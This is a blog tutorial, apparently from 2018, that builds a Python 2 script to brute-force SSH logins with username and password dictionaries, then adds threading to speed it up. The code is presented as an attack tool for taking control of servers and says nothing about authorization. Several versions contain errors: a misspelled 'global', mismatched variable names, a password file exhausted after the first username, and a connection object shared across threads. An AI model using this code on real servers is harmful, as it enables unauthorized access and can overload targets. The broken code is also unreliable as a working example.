Python: Cracking SSH server login via Dictionary Brute Force attack

by hash3liZer . 17 August 2018

Python: Cracking SSH server login via Dictionary Brute Force attack

Cracking Secure Shell (SSH) means to hold over the server i.e. having full access control and making arbitrary executions. Sometimes, depending on the owner, an SSH could be vulnerable to weak credentials terminology, i.e. they could be easily cracked by continuous submission of various combinations and probabilities. In this tutorial, we will make a script in Python, trying to crack an SSH login through brute-force.

In Cracking, what an attacker have to do is just submit the query until the right one is found, meaning looping over the same process until a specific condition occurs. We have an awesome standard library for this: pexpect. This will help us automating most of the stuff which we would have to manually perform.

SSH Login

Standard Way of logging in

Well, here's the blueprint that we are gonna use. This will log in to the target server and execute a given command:

#/usr/bin/python

from pexpect import pxssh
s = pxssh.pxssh()
if not s.login('target.com', 'username', 'password'):
    print "Login Failed"
else:
    print "Logged in Successfully"
    s.sendline(raw_input("Enter the Command: "))
    s.prompt()
    print s.before    # Print the Output
    s.logout()

Cracking

At this part, we will need two dictionaries, one comprised of usernames while the other with passwords to be brute-forced. We will check combinations like each username with every given password. This will make the process more effective but less stable. The other way around is to do parallel check, meaning the adjacent username and passwords from respective dictionaries.

Going with the above explained steps:

from pexpect import pxssh
import sys

server = pxssh.pxssh()

def bruteForcer(target, user, _pass):
    print "Checking: %s/%s" % (user, _pass)
    try:
        if server.login(target, user, _pass):
            print "Credentials Found: %s/%s" % (user, _pass)
            sys.exit(0)
        else:
            pass
    except:
        pass

username_dict = '/root/Desktop/usernames.txt'
password_dict = '/root/Desktop/passwords.txt'

if __name__ == '__main__':
    user_names = open(username_dict)
    pass_words = open(password_dict)
    for user in user_names.read().splitlines():
        for _pass in pass_words.read().splitlines():
            bruteForcer('target.com', user.rstrip('\n'), _pass.rstrip('\n'))
bruteforcer

Speed Up!

Speeding it up.

This won't be enough at all. We require speed. The more speed we get, the more we get the chances of blowing it off early. Let's thread this up. Python provides us with threading library that runs a function in seperate space regardless of where lthe control is currently lying.

from pexpect import pxssh
import sys
import threading

server = pxssh.pxssh()

def bruteForcer(target, user, _pass):
    gloabl _C_THREADS
    print "Checking: %s/%s" % (user, _pass)
    try:
        if server.login(target, user, _pass):
            print "Credentials Found: %s/%s" % (user, _pass)
            sys.exit(0)
        else:
            pass
    except:
        pass

username_dict = '/root/Desktop/usernames.txt'
password_dict = '/root/Desktop/passwords.txt'

if __name__ == '__main__':
    user_names = open(username_dict)
    pass_words = open(password_dict)
    for user in user_names.read().splitlines():
        for _pass in pass_words.read().splitlines():
            f = threading.Thread(target=bruteForcer, \
                args=('target.com', user.rstrip('\n'), _pass.rstrip('\n')))
            f.daemon = True  # Stops thread on program exit.
            f.start()

Concluding the problem

Tough it would work just fine but not for so long. You see, there is no restriction limit on how much threads can be spawned at a time. The above will produce an unexpected behavious which could also cause the server to crash or ultimately could result in DOS.

One way is to create a counter variable to keep record of active number of threads:

from pexpect import pxssh
import sys
import threading

server = pxssh.pxssh()
_C_THREADS = 0

def bruteForcer(target, user, _pass):
    gloabl _C_THREADS
    print "Checking: %s/%s" % (user, _pass)
    _C_THREADS += 1
    try:
        if server.login(target, user, _pass):
            print "Credentials Found: %s/%s" % (user, _pass)
            sys.exit(0)
        else:
            pass
    except:
        pass
    finally:
        _CH_THREADs -= 1

username_dict = '/root/Desktop/usernames.txt'
password_dict = '/root/Desktop/passwords.txt'

if __name__ == '__main__':
    user_names = open(username_dict)
    pass_words = open(password_dict)
    for user in user_names.read().splitlines():
        for _pass in pass_words.read().splitlines():
            
            while _C_THREADS >= 10:  # Number of threads to be spawned
                pass

            f = threading.Thread(target=bruteForcer, \
                args=('target.com', user.rstrip('\n'), _pass.rstrip('\n')))
            f.daemon = True  # Stops thread on program exit.
            f.start()

    while _C_THREADS != 0:
        pass
Cracking SSH threading

Conclusion

So, we saw how we can easily code an SSH dictionary bruteforcer within few lines of Python. Besides, just cracking the login, we saw how to speed up things with threading a bit. Well, it should not be used at the places where there is supposed to be sequence however, it's not necessary. You still can manage the sequence by making records, just like a ledger.